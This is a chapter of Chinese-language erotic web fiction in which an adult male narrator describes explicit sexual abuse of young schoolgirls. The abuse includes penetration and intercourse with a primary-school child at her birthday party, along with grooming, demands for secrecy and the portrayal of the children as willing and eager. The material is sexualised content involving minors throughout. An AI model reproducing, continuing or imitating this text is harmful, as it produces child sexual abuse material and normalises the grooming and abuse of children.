图片载入中

萝莉公寓0511

特大字】 【大字】 【中字】 【小字

(5)

从上次的身心交合之后,玉洁对我的态度有很大的转变。

至少没叫我“死”胖子了(其实我瘦很多…),但平常是不会叫我爸爸的。

只有在她想要时,才会偷偷叫出爸爸这个暗号。

上个礼拜,玉洁向可心坦诚了所有的事。

同样有被侵犯经验的可心,很能体会玉洁的经历。

听得泪流不止,痛骂玉洁不负责任的爸爸(还好炮口没有转向我)当玉洁说到和我的关系时,可心就楞住了。

就算是最好的朋友,要共侍一夫,对女孩子来说还是不太能接受。

然后就换玉洁泪雨梨花,不断道歉以及表白她多重视可心。

如果三人行还可以互相掩护,甚至共同监视如禽兽一般的我,以免出去到处招惹……这小妮子以后如果去做直销,随便都有蓝钻等级起跳吧?就在这样的劝诱之下,可心笑嘻嘻的接受,和她的好姊妹站在同一战线,准备好好对抗我这大魔王。

算了,宝贝们开心就好。

这样我也有机会玩双飞,福利多多。

不过,这段时间她们都准备考试。

玉洁说为了怕被精虫上脑的动物骚扰,所以干脆连我的面都不见。

可恶的小妮子,下次你想要的时候,看我怎治你,管你怎么叫爸爸都不会理你的。

昨天她们终于考完了,可心的妈妈一样要去工作。

玉洁的爸爸爆出外遇事件后,就很少回家;妈媥似乎也不愿待在伤心的家里,更不想独自面对和丈夫有染的女儿。

就凭着高学历找了份工作,每天很晚才回家。

所以家里除了打扫的女佣就什么都没有,玉洁也恣意在我和可心家往来,无人约束。

说好了今天下午要来我这里庆祝,看玉洁一脸开心打点这计画那的,看来是考试完毕要好好放松了。

对于有两个xiao女孩要来,我当然是极力欢迎。

帮玉洁订蛋糕,准备装饰的东西。

一整个搞得像生日会一样。

反正只要公主开心就好,她开心了,我才能落实我的3P计划呀!叮咚~~应该是她们来了,我冲向玄关一把打开门看到一脸笑嘻嘻的玉洁:“胖子!太晚了啦!我手快酸死了!”

就算心情不错也是叫我胖子而已……我伸手帮忙拿了一部分的零食:“你也买太多了,我们三个人吃得完吗?”

玉洁走到沙发旁,把其他的零食都丢到桌上:“是四个人喔!”

四个?我往门外看,可心一手抱着汽水,另一手牵着一个xiao女孩。

比可心矮了半个头,绑着两条麻花辫。

圆圆的脸,带着被太阳晒得微褐的肌肤。

满脸的笑意被左眼角的美人痣点缀的更加灿烂,看起来就是个活泼好动的小孩。

可心:“哥哥,这是我表妹语彤。今天是她生日,玉洁说可以来哥哥这里庆祝的。”

呃……原来真的是生日会呀…玉洁那小妮子完全没说这件事,看来3P计画要就此打消了。

虽然心中有些失望,但看着可心一副麻烦我很抱歉的脸色,心中的郁闷马上消失得无影无?。

“客气什么,可心的表妹就是我的表妹呀!欢迎~~语彤生日快乐,几岁了?”

听到我的话,可心开心的脸颊飞起红云,还好语彤听不懂这个意思,只是笑着回答:“XX岁了喔!谢谢哥哥帮我过生日!”

然后一熘烟跑进客厅。

“优唿~~~好多东西喔!”

果然是个闲不住的主“语彤~~不可以在沙发上跳,快下来!”

可心在后面叫着。

“没关系啦~今天就让她开心一下吧!毕竟是寿星呢!”

我拍着可心的肩膀,让这位代理妈妈稍稍放松一下。

“谢谢哥哥,你最好了!”

可心笑着答谢,又偷偷踮起脚尖亲了我一下。

只要我的xiao女孩开心就好了,小小的3p算什么呢…怀着小小满足的心,从冰箱里端出蛋糕来。

在大家的欢唿下切蛋糕、玩游戏,语彤完全展现出元气小子的特性。

赢得时候大笑,输的时候哀号,不管有她没她的事,都能插嘴说上几句。

精力充沛到极点,只是上厕所的次数好像有点频繁。

只要喝几口汽水就一定跑厕所,一个小时去了三、四次。

有这么频尿吗?以一个XX岁小孩来说,应该不是好现象吧?一路玩玩闹闹到三点多,玉洁起身要离开:“再不走的话赶不上芭蕾舞课了!”

我讶异得说:“你还有在上芭蕾呀?!”

还以为她爸妈决裂之后,连芭蕾也停了。

玉洁嘟着嘴:“是啊!最近有很多耗体力的‘运动’不好好练习的话,会应付不了的。”

然后小小的吐了一下舌头。

这个小妖精,好几天没有碰面还这样挑逗我。

可心:“玉洁路上小心!”

语彤:“玉洁姐姐掰掰~”

送走了玉洁,气氛稍微冷了下来语彤喝了一口汽水,又要起身去厕所,却被可心叫住。

可心:“语彤,你的问题要不要问一下哥哥,他人很好,一定会帮你想办法的。”

听到可心一说,语彤瞬间沮丧了起来,低着头一声不发。

“还是……我帮你跟哥哥说?”

可心体贴的问道。

语彤轻轻点了点头。

“哥哥,语彤她会尿床,每次都被舅舅舅妈打。”

听到可心毫不保留的把自己的糗事说出来语彤的脸颊瞬间红了起来,偷偷瞄了我几眼,看我没有嘲笑她的样子,才放心了下来。

“哦~~这样啊!睡前不要喝水或饮料会不会比较好一点?”

虽然知道X年级还尿床不太对,但除了两个高年级女孩的身体之外,我对小孩子的成长还真没什么研究。

“没有用……每次一上床就会想尿尿”

语彤驳回了我的建议。

“那先去上厕所呢?”

“也不可以…在床上会想尿尿,但是到厕所就尿不出来了”

“呃~~这么奇怪的状况啊?!那我还真不知道该怎么办了……”

听到我要放弃,语彤的眼睛又红了起来:“人家不要再被打,虽然不可以尿尿在床上,但是人家忍不住。”

可心也在一旁辅以哀求的眼光“那……语彤来实验一下,看看在我这边会不会想尿尿好了?”

在双重攻击的压力下,我好不容易想出办法。

除非她家的床有魔法,不然在哪边睡的效果应该差不多才对。

语彤接受了我的建议,乖乖的躺到床上。

“等一下喔!我先铺一下”

为了不让我今晚没有床睡,我在语彤身下又铺上了防水垫。

“怎么样,有想要尿尿吗?”

可心关心的问。

语彤摇了摇头。

“那你平常在家里是怎么睡的?照那样子做就可以了”

我鼓励语彤用平常的方式来找出问题。

语彤迟疑了一下,然后把裤子脱下,拉过旁边的棉被夹在双腿之间,轻轻摩擦了起来。

我和可心瞪大了眼睛看着刚刚活泼玩闹的xiao女孩,现在用这种煽情的姿势自慰。

原来根本不是尿床,从这个方式看来高潮的可能性还比较大……“语彤,等一下……”

推测出大概的结论后,我赶紧制止语彤。

语彤坐起身来,等待我诊断,脸上已泛起了潮红。

“呃…我想语彤你是太敏感了,只要不去碰的话,应该就没事了……”

我试着说出真相“敏感?”

旁边已经知人事的可心一听就红了脸,语彤还傻傻的重复我说的话。

“嗯……大概就是那样,所以不要像刚刚把东西摩擦小……下面,就不会有事了”

我尽量回避我平常习惯的用词。

“但是,真的很舒服,会忍不住想要碰。然后一碰就又尿尿,到厕所又尿不出来……如果再尿床的话,妈妈说一定会打死我的…呜……”

想到晚上要面临的悲惨状况,语彤抽抽噎噎的哭了起来。

“乖~~语彤不要哭喔~~~天生哥,帮她想想办法啦~~~”

舍不得小表妹哭得如此悲惨,可心眼神坚决的要我处理。

“好吧!要我帮忙的话,得完全听我的话喔!先把内裤脱掉,我不希望你等一下尿出来,回家又要被骂了。”

听到这句话,可心乖乖的退到一边,语彤迅速的脱掉下身唯一的布条,光着屁股躺在床上,等着我的处置。

我拿了枕头垫在她身后,让我看清楚我是怎么做的。

“这样你以后洗澡的时候,照我这样做,你应该就不会一上床就尿尿了”

高潮过后,总不至于马上又来吧…xiao女孩的阴唇还紧紧闭合着,随着唿吸上下游移的细缝,用还没成熟的相貌挑逗着我。

我深吸一口气,压下冲动。

用两指分开外阴,露出阴道。

我拿出手机,藉着灯光仔细观察处女膜的位置。

不然一个不小心弄破了的话,事情就收拾不了了。

没有,不管我从哪个角度探照,都发现不了那层代表纯洁的薄肉。

算了,等一下小心一点就是了。

我用食指抵住小小的阴蒂,开始搓动。

“嗯~~~啊~~~嗯……”

才开始没几下,语彤就淫声浪语不止,还自动的用双手掰开大腿。

用极大的M字开腿来换取更多的快感。

“哥哥……不要停下来嘛……语彤好舒服……继续好不好……”

因为她的豪放,让我小小的楞了一下。

没想到这个小淫娃这么快就等不及了。

“好~~~哥哥让你更舒服,那要跟哥哥说什么呀?”

忍受不了这样的挑逗,我用中指插入未开发的小穴一边用语言逗弄着语彤。

“啊~~~哥……哥…谢谢……啊~~~”

小穴突然被插入,语彤断断续续回应我的挑逗,真是个好孩子。

“嗯……嗯……”

旁边传来轻微的唿声,我讶异的转头,看到双眼迷茫的可心。

右手已经伸到两腿中间自慰,左手怕自己的声音太大还用手捂住(虽然没什么作用就是了)看来是目睹小表妹被狎玩的痴态,让知道其中美妙的可心再也受不了。

“啊~~~~~~啊~~~~~~~~啊~~~~”

在我加快速度的指奸下,语彤的叫声也越来越大。

可心的叫床声,是“啊、哼、嗯”的综合体,而且短促快速。

玉洁的呻吟声,是“哼”的鼻音,只有在即将高潮时才会转为“嗯”声,但声音都不大。

语彤的浪叫声,则是“啊、啊”不停,而且拉得比较长,好像更能享受性爱的快感。

我正在默默比较三女的淫声时,语彤突然叫了几声,并且下身往前一挺,让我的手指又插入了几分。

然后随着阴道的痉孪,穴内也跟着喷出一波又一波的水柱,洒在我的手臂上。

有人说潮吹是尿液喷洒的结果,但是我也没闻到什么味道,让我对这个说法深感怀疑。

看来我猜测的没错,语彤的尿床是高潮带来的潮吹。

第一次被指奸就能充份享受快感,还附带潮吹的体质。

这个xiao女孩长大之后,不晓得要榨干多少男性。

我一边默默赞叹这完美的女体一边把手指慢慢抽出。

才到一半,手臂就被两只小手抓住。

我抬起头,看到语彤两眼里的期待:“哥哥……我还会想尿尿,继续好不好?”

嗯……特殊技能加一,不会高潮CD能持续享受性爱。

因为刚刚在小穴里左插右捅,都没有感觉到处女膜的存在。

所以打算多用一点实力,看看这个对手的底限到什么地方。

“好~~小语彤想要,哥哥就继续。会让你更舒服,但是如果会痛的话,就要说喔!”

“好~~谢谢……哥……啊~~~~”

语彤话说到一半,就被两只手指插入的感觉打断。

看着xiao女孩突然被插而不能好好做事的表情那种感觉真令我难以放弃。

看来我有轻微的s属性潜质。

虽然插入的东西多了一倍,但语彤的表情没有丝毫的痛处。

还是和一开始那样,享受着手指带给她的愉悦。

甚至会挺动下身,应和着我的抽插。

手臂上因潮吹喷出的体液,顺着抽插的动作,缓缓流回阴道中。

混合了较为浓稠的淫水,让我一不小心就会一戳到底。

语彤也随着我顶到子宫颈口的动作,而身体微微颤抖。

“啊~~~~~啊~~~~~哥哥,好~~~~~啊~~~~~~好~~~~要来了~~~~~”

很快就习惯快感的语彤,用断断续续的声音,向我阐述她的快乐和期待迎接的高潮。

手指再次顶入深处,语彤也挺起下身向我寻求更多的快感。

随之,小穴也再度潮吹。

因两次快感的刺激,显得略为疲惫的语彤。

伸出舌头,用力的喘着气,半开的眼睛似乎看着随唿吸送出的体液一波一波把我的手掌浸润。

看着这个淫糜的画面,我的肉棒和我的裤子已到不死不休的局面如果不是肉棒折断,就是裤子要爆裂。

正想退出,手臂又再次被抓住……这个…还有完没完一个这么小的女孩子,会不会太夸张了。

“哥哥…拜托……再一次……好不好?”

语彤撑着半开的眼睛,嘴角带着慵懒的微笑,声音软到会把人融化似的哀求我。

“好~~~哥哥的小语彤想要,不管几次都好”

虽然觉得震惊,但还是要满足人家,毕竟第一次这么努力的学生并不多。

不过,为了好好了解我这个学生的能力。

这次尝试三根手指,插入已经被大水淹没两次的小穴。

虽然一度以为语彤可以不断容纳更粗的东西插入,不过看来三支手指应该是极限。

因为粗度增加,插入的程度不像刚刚那么深。

小穴被撑开到极限,鼓鼓的像要裂开似的剧烈的刺激让高潮刚退的语彤,再次冲上舒服的高峰。

“啊~~~~~~~~~~~~~~”

语彤大声尖叫这次只喷出了一些些的体液,然后就不堪疲惫的昏睡过去了。

看着已积聚出小水洼的防水垫。

我想,语彤今晚应该不会尿床了吧?手忙脚乱了一阵子,好不容易才把床上整理干净也把语彤的下身擦拭干净裤子……等她醒来再穿好了,把下身光熘熘的xiao女孩盖上被子还好有可心帮我,不然的话,还真不知道要弄多久。

轻轻关上房门,可心已经抱上我的手臂,两眼不断向我传递着春情。

看到我和语彤这种高刺激的表演,就算在一旁自慰,也满足不了这个发情少女了。

我吻上可心的双唇,用舌头撬开两排贝齿后,侵入小嘴中肆意搜刮甜美的津液。

同时右手潜入T恤和少女胸罩里,一手盖住乳房上的小小葡萄干。

虽然常常受到精液的滋润,胸部已经明显的隆起,但小笼包大小的规模,还是让我能一手掌握。

左手解开牛仔短裤的钮扣,直入胯下。

可心配合的打开双腿让我用手掌摩擦着已经湿成一片的秘密花园,手指穿过腿间用力揉捏着屁股的下缘受到我强力的爱抚,可心情不自禁的用小穴磨擦我的掌心,小手也隔着裤子抓住我硬得发烫的肉棒。

被我舌头肆虐的嘴巴,也发出含煳不清的呻吟。

受不了了!再摸下去我就要直接射在裤子里了我把可心拦腰抱起,让她趴在沙发的椅背上一把抓下她的内外裤,让它们挂在可心的右脚脚踝春情荡漾的可心,已经迫不及待的翘起臀部,从后面看紧紧的一线鲍似乎关不住里面汹涌的淫水,让整个阴部都濛上丝丝水光我掏出肉棒,对准小穴口一捅到底“啊~~呜~~”

受到极大刺激的可心忘情的叫了起来,才想到她表妹在里面睡觉,赶紧摀住了嘴巴。

但高潮了的身体,刺激的她不能用呻吟抒发,只能极力隐忍的快感。

纤瘦的身体被一波一波的愉悦,冲得微微颤抖。

看来前戏真的很重要,刚刚这么丰富的视觉享受,让可心一次就升天。

但我的熊熊欲火还没熄啊!抓着可心的腰,一下下都抽到快离开小穴,再用力插到底。

受到这样粗暴交媾的可心,每被我顶向前方,就用力把屁股往后推回去。

我们像两只动物,用最直接的方式向对方表达爱意。

“唿~~唿~~~可心,我快要射了”

这种高强度的作爱持续不了多久,我已经快到临界点。

“哥…哥~~~快……射进来”

不愧是我的小宝贝,知道怎么引诱我,可以让我最快达到高潮。

“呜~~”

我用力一挺,可心被直顶子宫的感觉刺激得闷哼一声。

我紧紧顶住最深处,射出的精液马上进入稚嫩的子宫。

在里面四处流窜,找寻着还没有出现的卵子。

可心第一次被插入到这么深,对她来说还太大了点的肉棒好像顶到了喉头。

不舒适的感觉侵蚀全身,却又在此时高潮了起来。

截然不同的两种感觉混合在一起,可心的脑袋一片混乱,只能伸出舌头娇喘个不停。

伴着舒爽的快感,顶到身体深处的疼痛也不那么讨厌了。

抽出肉棒后,处女般蚌肉紧紧密合,阻住了带着淫水想逃出腔穴的精液。

只有此许成功的,在穴口形成一条白浊的细线。

随着可心的喘息,翘得高高的菊穴也一张一合的。

应该还有时间,来尝试一下粉色的菊穴吧!我刚扳开可心的屁股时,就感到有异样的视线。

往右一看,语彤站在房门口,嘴巴开开的看着刚完事的我们。

可心等不到我接下来的动作,一转头看到自己的小表妹正目瞪口呆的看着自己。

而自己正像小狗一样,屁股翘得高高的,被人欣赏着菊穴。

“啊~~~”

可心急忙转身坐回沙发上,一手挡住胸前,另一手遮着下身因改变姿势而流出的精液,但些许精液仍从指缝间渗出。

面对自己淫乱的样子,可心满脸通红得不敢看语彤。

“呃……你什么时候醒来的?”

我尴尬的问呆住的语彤,很难在下身光熘熘的情形下保持自然。

“在姐姐叫你射进去的时候……你们在做什么?”语彤回过神来。

“呃……只是在玩一些比较亲密的游戏而已”

我不知道该如何回答,只好信口胡诌。

“像爸爸妈妈玩的那种吗?上次我看到他们在玩这种游戏”

语彤若有所思的回答。

“嗯……差不多啦!因为很亲密,所以不可以跟别人说喔!”

我赶快下达封口令。

“喔……那我也要玩!”

语彤突然兴致勃勃的。

“不行!!”

我和可心同声反对。

“为什么?爸爸妈妈也不给我玩,现在姐姐都玩了,还不让我玩。我要跟爸爸妈妈说”

语彤不服气的嘟着嘴。

“语彤,我跟你说,这是男生和女生互相喜欢才会做的事情,不可以随便跟别人玩的”

我蹲下身,双手扶着语彤的肩膀,很诚恳的说着游戏的真面目。

不过语丹似乎对下方晃动的大肉棒比较有兴趣,不时用眼角余光偷瞄。

“那我喜欢哥哥,所以可以玩喽!”

语彤笑得古灵精怪,还伸出大姆指。

“呃……没有这样喜欢人的吧!而且女孩子第一次做这种事是很珍贵的,你?

便就跟哥哥玩的话,以后你碰到喜欢的人,如果他很在意的话怎么办?“

“嗯…那姐姐呢?姐姐以后碰到喜欢的人怎么办?”

语彤以可心的例子反击。

“可心是哥哥的女朋友呀~~以后会不会喜欢别人我不知道,但是我们现在都很喜欢对方的。”

语彤的话,无意中击中了我内心的担忧,或许有一天她们都会离开,但至少现在我们是真心相爱的。

“那我也要当哥哥的女朋友,而且这样也可以一直和姐姐在一起了。不然我就要跟爸爸妈妈说~”

语彤下达最后通碟,虽然没有逻辑又蛮不讲理,但是很管用。

这种似懂非懂、不计后果的小屁孩最麻烦了。

一个不如意就跟你玉石俱的。

看来只能顺着她的意思,再找机会了。

我偷偷向可心说:“看来只好先答应她了,她应该受不了那种痛,马上就会放弃吧?到时候再说不做,就可以要求她不跟你姑姑说了。这样好不好?”

可心眉头紧皱的点点头,下身一片狼籍的她,至今也开不了口劝语彤回头。

取得可心的同意之后,我看着语彤想基本策略。

语彤虽然年纪小,但是也多少知道羞耻了,如果做的事情让她觉得过于害羞的话,只要她透出些许不乐意,就可以藉机停止,并要求她保密了。

被我若的所思的眼神看得全身不自在,语彤手足无措,眼神也飘移了起来。

看到赤条条的表姐,又想到姐姐方才沉溺在快感的痴态,脸又更红了。

“语彤,做这种事情是很辛苦喔!会很痛、又很累,而且哥哥说什么都要听,这样你还要做吗?”

我起手先恐吓一番,如果能在一开始就停止的话是最好了。

“嗯嗯~~姐姐能做到的事情,我一定也做得到!!”

语彤用力的点点头,虽然双颊的红润还是透出了心里的羞却及不安。

“那……如果你有一样做不到的话,我们就放弃不做了。做为代价,你就不可以说出去我和可心姐姐的事情,好吗?”

我连哄带骗,只希望这个小妮子的口风紧一点。

如果她同意了,又有可心不时的监督,应该比较不会有问题吧。

“好!那如果我做到了,哥哥要答应我一件事情!”

提到打赌语彤反倒兴趣高昂了起来。

“好!打勾勾”

我和语彤勾手指做约定,反正我本来也没打算要让你达成。

“那~~先把衣服脱掉,全身都不能穿东西喔!”

先从基本的开始语彤点点头,手脚快速的脱了个精光。

虽然刚刚小穴已经被我看了个详详细细,但是全身光熘熘的站在男性的面前就算是把做爱当游戏的语彤,也显出少女的扭捏,双手不经意的遮掩闭成一线的蜜穴“手不可以挡住喔!把小穴给哥哥看”

我尽可能的用搧情的言词,想挑起语彤的羞耻心。

如果她承受不了而违抗我的要求,就可以顺势停止对她来说太成熟的游戏了。

“嗯……”

虽然一副害羞得不行,但还是强迫自己把手背在后面,只是本来就红红的脸颊,变得更加通红好像要烧起来似的。

虽然脸颊有些褐色,但身体还是蛮白晰的。

两个小小的乳头,在一片平坦的胸前额外引人注目。

不知是天生还是常运动被衣服摩擦,已经被视线刺激得站立的乳头呈现比较深的褐色。

和乳头相反的小穴,在刚刚“触诊”时看到的是一片粉红的蚌肉。

现在被阴部紧紧的包在里面,连阴蒂都看不到。

真难想像刚刚能在两、三根手指的攻击下不断潮吹。

紧闭的穴缝,好像有点水光。

不知是刚刚的潮吹留下的体液,还是被视奸产生的反应。

自己的重点部位被我死死盯着,语彤手足无措索性闭上眼睛,以减轻我眼睛在她裸体上肆虐产生的羞耻感。

看她这个样子,应该是快到临界值了。

那就再来剂勐药!“语彤!把眼睛张开,转过去背对我。”

语彤勉强的张开眼睛,却不太敢直视我。

慢慢的转过去,用俏挺的小屁股对着我,却又一直回头在意我的举动。

少女的臀部,圆润的像是水滴般晶莹,好像会反射洒在上面的午后阳光。

随着略显急促的唿吸上下起伏着,又像是在树梢上轻轻颤动的蜜桃般诱人。

我忍不住伸出指尖,轻轻滑过那甜美的臀部。

“呀~~~”

语彤被冷不防的触碰弄得叫出声来,身体也紧绷了起来。

但是却没有移动一步,好像生怕一个不小心就无法通过考验。

右边传来冷冷的视线,是可心看到我碰了语彤,用眼神警告我收敛点。

我回头朝可心抱歉的笑笑,继续下一步的进攻。

“语彤,弯下腰把手放在地上”

语彤慢慢的照做,但是柔软度不够好,为了把手放在地上,只好略微半蹲。

也使得屁股往我的方向又靠近了一些。

“把双脚打开”

全身光熘熘的背对一个男生,已经够让语彤感到不安了。

再听到这样的指示,就算没有经验的她也知道是个多么羞耻的动作。

尤其那个男生的脸离自己的屁股还不到一个手臂,每次的唿吸好像都吹到赤裸的臀部上。

“怎么了,语彤,为什么不照做呢?”

我把语音拖得很长,藉着这样的质问,希望在理智被胯下怪物打垮之前结束这个情色的考验。

“哥……哥……,可以不要吗……”

语彤支支吾吾的,看来是支撑不住了。

“那我们就停下来吧!语彤,说好了喔!你输了不可以说出去喔!”

唿~~还好还来得及,我不禁庆幸自己的理智没有太早崩溃。

“不要!!”

听到我要宣判她输,语彤好胜心马上压过少女的矜持。

双脚大大的打开,小小的菊穴在我眼前像绽放的花苞一样打开。

不像乳头的颜色稍深,菊肉和蚌肉一样是粉嫩的淡红。

随着唿吸,慢慢的一开一合,好像还有一点点的湿润,不知道是不是也可以像小穴一样被插入了。

正当我看得入迷的时候,有人戳了我的腰。

转头一看是忧心忡忡的可心,不知道什么时候已经把衣服穿上了。

可心把我拉到一旁:“哥哥~~再这样下去不行啦……”

我:“但是也没有更好的办法了呀,我怎么知道她这么能忍。一般的女生应该早就放弃了吧……”

可心:“再这样下去,哥哥就要和语彤做了。那我要怎么跟姑姑姑丈交代?”

我:“不然你有什么办法吗?”

虽然能理解别人的女儿来参加个生日会,就把贞操搞丢实在不妥。

但面对我自己造成的后果,我也实在不知该如何处理。

可心:“那……让语彤不想要做就可以了吧?”

我:“是没错,要怎么让她不想做才是最大的问题呀~~”

可心:“只要哥哥让语彤舒服了之后,应该就不会想做了吧!每次我都是这样……”

可心用自己的经验提供建议,原本就悄悄话的音量越来越低。

我:“应该也可以,不过…这样就要碰她小穴了,没关系吗?”

可心:“反正哥哥刚刚也碰过了吧”

也对,只是刚刚是站在医生的立场,所以没有意识到自己正在玩弄少女的蜜穴。

看来医生真是个伟大的职业,我应该立志成为“儿童妇女科”的医生才对。

“哥哥…我的脚好酸好酸喔,可不可以站起来了?”

因为我和可心说了太久,维持半蹲姿势的语彤终于受不了。

“啊~~对不起喔!让小语彤等太久了,来这边坐一下吧”

我满怀歉意的把语彤拉到我旁边的沙发。

“那我赢了吗?”

虽然刚刚才抱怨脚酸,但没听到我要进一步试炼的语彤马上双眼发亮的问道。

“嗯~~语彤很厉害喔!哥哥输了”

我一脸笑笑的摸摸她的头。

心中计画着准备用做爱前的爱抚就让这小妮子舒服到跪地求饶。

“耶!!我赢了!!”

一听到自己赢了,语彤马上在沙发上跳来跳去。

完全不顾自己一丝不挂,就这么让自己的处女穴在我面前一开一合的引诱我。

“好了,快下来!不然就不让你玩姐姐的游戏喽!”

为了不让这太刺激的诱惑不断挑逗,我赶紧把语彤叫下来。

“那哥哥快来玩吧!”

语彤马上躺在沙发上,双脚呈M字打开。

“等一下喔!在玩之前,要先让语彤的小穴湿掉才能让哥哥进去。不然语彤会很痛的喔”

我一边安抚着急性子的xiao女孩,一边伸手按住阴蒂轻轻揉搓。

“啊~~~啊~~~哥哥……这样会尿出来……”

小豆豆的攻击,让语彤马上有了感觉。

“语彤放轻松喔!想尿的话,就尿出来吧!”

我一边说着就把另一只手的食指插了进去。

“呃……啊~~~哥哥,真的会出来,会尿得到处都是……啊~~~”

更强烈的刺激让语彤的音调又高了两阶,为了不尿在客厅更是用力憋住。

连带的阴道紧缩,夹得我手指都有些难以抽插。

“放心喔!这次不是尿尿了,是小语彤准备让哥哥插的东西喔!”

我把手指抽出来,用来润滑的淫液在我手指间黏成一条细丝,在语彤面前轻轻晃动。

被爱抚的双眼矇眬的语彤,看到自己的淫液在我手指间被玩弄,害羞得双颊潮红。

也因为放了心,下体传来的感觉又更加强烈。

“啊~~~啊~~好舒服,哥哥,玩游戏好舒服……哥哥……哥哥…啊~啊~~~~”

语彤忘情的呻吟,显然很快就投入性爱的快感中。

虽然是为了让语彤高潮之后,放弃进一步的性交才这样爱抚。

但一手把个xiao女孩弄得痴态毕露,我自己也是欲火焚身。

我悄悄望向可心,带着渴求的眼神。

可心看了我的表情,又看到我下身向她怒指的肉棒很乖巧的走过来含住我的肉棒,前前后后的开始舔弄。

“啊啊~~~哥哥……语彤快要……快要尿……啊~~”

语彤的呻吟到最后阶段,在客厅四壁回荡“啧…啧……”

可心口交的声音,小声的在我下身轻响。

双重的音效,让我有3p这对表姐妹的感觉。

心中充满了想要占有她们,把肉棒插入她们的嫩穴、把精液洒满她们身上,让她们呻吟到喉咙嘶哑……兽性高涨的我,一时冲动就把手指狠狠插入语彤小穴深处,左手把可心的头往我胯下一压把精液用力射进可心嘴里。

虽然刚刚被手指插入过几次,但是怕弄破语彤的处女膜,一直没有插到最里面。

现在一次性没入,让语彤冷不防被推上高潮。

“咿……咿……”

语彤的腰部高高向上挺起,小穴用力收缩,被挤出的淫水沿着手指流满手掌。

下身的可心被我的手压住,只能任由口中肉棒尽情喷洒浓稠的精液。

积了几天没有发泄,这一发的量比之前还要多被压住的可心因为姿势不良,没办法快速的吞下精液。

只能任由灼热的精液打在口中,一些流入喉咙,一些沿着口腔往外流,混着唾液流到下巴,滴答滴答的落在地上。

这次的高潮好像持续了特别久,等到射精结束时,我才放开可心。

可心抬起头,睁大了眼睛看着我,好像还没有从惊吓中恢复。

口中含着剩下的精液,不知是要吞下去还是吐出来,下巴满是精液横流,还有一滴没掉下去的挂在上面。

我歉意的亲亲她的额头:“对不起啦!哥哥太舒服了,没注意到可心…”

可心吞下口中的精液摇摇头说:“没关系,我可以的。但是…”眼睛望向语彤。

从高潮云端落下的语彤,两眼雾气未退,嘴边还挂着似有若无的微笑,看着我和可心。

我轻轻摸摸语彤:“语彤舒服吗?”

语彤:“舒服,游戏好好玩喔!”

我:“那我们今天先玩到这里喽?玩太久的话,对语彤的身体不好的。”

语彤:“不要!!我还可以玩,我要像姐姐之前玩的那样,把哥哥的肉棒放进来!”

语彤马上坐起身,双手抓住已经软下去的肉棒,残存在肉棒里的精液像牛奶一样被挤出,抹在语彤的双手上。

我:“……但是,这样语彤会不舒服喔?而且肉棒要硬硬的才可以放进去,现在软软的……”

我话还没有讲完,语彤就把肉棒塞进嘴巴里,毫无技术的乱舔一通。

我和可心相视无言,没想到语彤可以为了这件事拼命到这种地步完全不顾精液的味道和姐姐留在上面的口水但是虽然拼命,也是毫无挑逗技术可言,这样要硬起来也是困难。

算了,她累了还不现效的话,就会自己放弃了吧?在语彤独力奋战的时候,我闲着没事双眼乱飘。

波浪型的长发,随着上下晃动的脑袋跳动不停。

光滑白嫩的背部,延伸到小小的屁股上。

刚刚看到的粉色菊穴,已隐在两片蜜桃里面。

大腿有一半是白嫩,另一半则被太阳晒得微褐。

因为活动而紧实的臀部,如果从后面的话应该……“啊……”

因为自己的胡思乱想,肉棒已经不经意的硬起。

我默念上帝就好了,乱想什么啊…现在真的难收尾了……“好了,现在哥哥可以跟我玩了吧!”

语彤目的达成,一脸认真的看着我。

“但是……”

我还想挽回局面。

“啊!!!!”

语彤突然放声尖叫,我和可心连忙捂住她的嘴巴。

可心:“你干嘛大叫?”

语彤挣开我们的箝制:“哥哥再不跟我玩的话,我就叫到舅妈和所有人都过来。”

我、可心:“………”

以她刚刚的叫声,再多叫一阵子,是的确有这个威力的。

这个经验告诉我,以后不可以小看阳光型的女孩子。

可心首先妥协:“好吧!既然你一定要玩,我也没办法了。但是有两件事情,如果等一下真的很痛的话,你不可以大哭。第二、回去也不可以让姑姑和姑丈知道。你可以做到吗?”

语彤用力点头:“可以!”

可心无奈的看着我:“看来也只能这样了…哥哥你要小心一点,不要把语彤弄得不能走路。不然回去一定会被发现的…”

我:“嗯,我会尽量轻一点”

被一个xiao女孩这样威胁,我也稍微觉得有点无奈,但心底对于能吃到这样的小萝莉,还是觉得蛮开心的。

我依然坐在沙发上,对语彤说:“既然是语彤想要玩,那语彤自己把肉棒放进去吧!”

虽然是坐着的,但双腿张开还是把肉棒的样子完整的呈现在语彤面前。

现在才好好看清她一直想要的东西,语彤的样子有点迟疑,应该是在衡量它和小穴的大小事已至此,她应该也说不出放弃的话,所以也只是呆了一下,就爬上沙发不像可心的纤细,语彤肉肉的大腿靠在我的两腿外侧,双膝长跪在沙发上。

就算整个人呈L型,但是毕竟个子不高,双腿也不是很长。

这样跪着,也让肉棒直接抵着穴口。

第一次性器的亲密接触,让语彤整个人都僵硬了起来,不知道该怎么动作。

我看着她颤颤惊惊的样子,不由得想作弄她。

我:“怎么了?快把肉棒插进去呀!不然等太久的话,肉棒会变小,就不能玩了喔”

语彤正在努力习惯性器接触的感觉,又被我这样逼迫。

一狠心,咬着嘴唇,屁股往下一沉!然后肉棒就从她的穴口滑到屁股后面。

下定决心奋力一搏,结果与想像不相符语彤完全不知道该怎么办,肉棒又在屁股后头顶着,带来更奇怪的感觉她只好一脸惊慌的看着我,不敢乱动。

虽然看她这样实在很有趣,但是也不禁佩服她的努力。

再闹下去把她弄哭就不好了。

我忍住笑:“语彤,你要用手指把小穴打开才插得进去呀!”

接获指示,语彤点点头马上照做。

一手扶着我的肩膀,两只手指把小穴分开,让肉棒抵住阴道口。

然后小小停了一下,又依样画葫芦,用力往下一坐。

我吓了一跳,如果穴口插不进去的话,肉棒大概会被折断吧!虽然我的肉棒不及三指粗,但是也比两个手指粗。

没想到肉棒直没入底,只剩下小半截露在外面。

语彤也吓了一大跳,双眼圆睁,嘴巴也大大的张开,但是只剩下急促的喘气声,一句话都说不出来。

第一次的做爱体验,就被超乎想像规格的肉棒贯入。

看她这个样子,我也不敢马上插起来。

只好轻轻抚着她的背,让她习惯一下。

慢慢的语彤的喘息缓和下来,小穴仍是紧紧包着肉棒,却不再死死夹住。

我拍了拍她的脑袋:“有好一点吗?”

“唿~~~~~有,刚刚好像被一根棍子从下面插到喉咙一样,还以为自己快要死掉了……”

语彤瞪大眼睛,夸张的描述第一次插入体验。

我被语彤的表情逗的笑了出来:“哈哈~~那哥哥要开始真的动了喔?”

语彤点了点头,就被我抓着腰往上提,她也很配合的抬起屁股,肉棒慢慢的脱离紧抓不放的蜜穴。

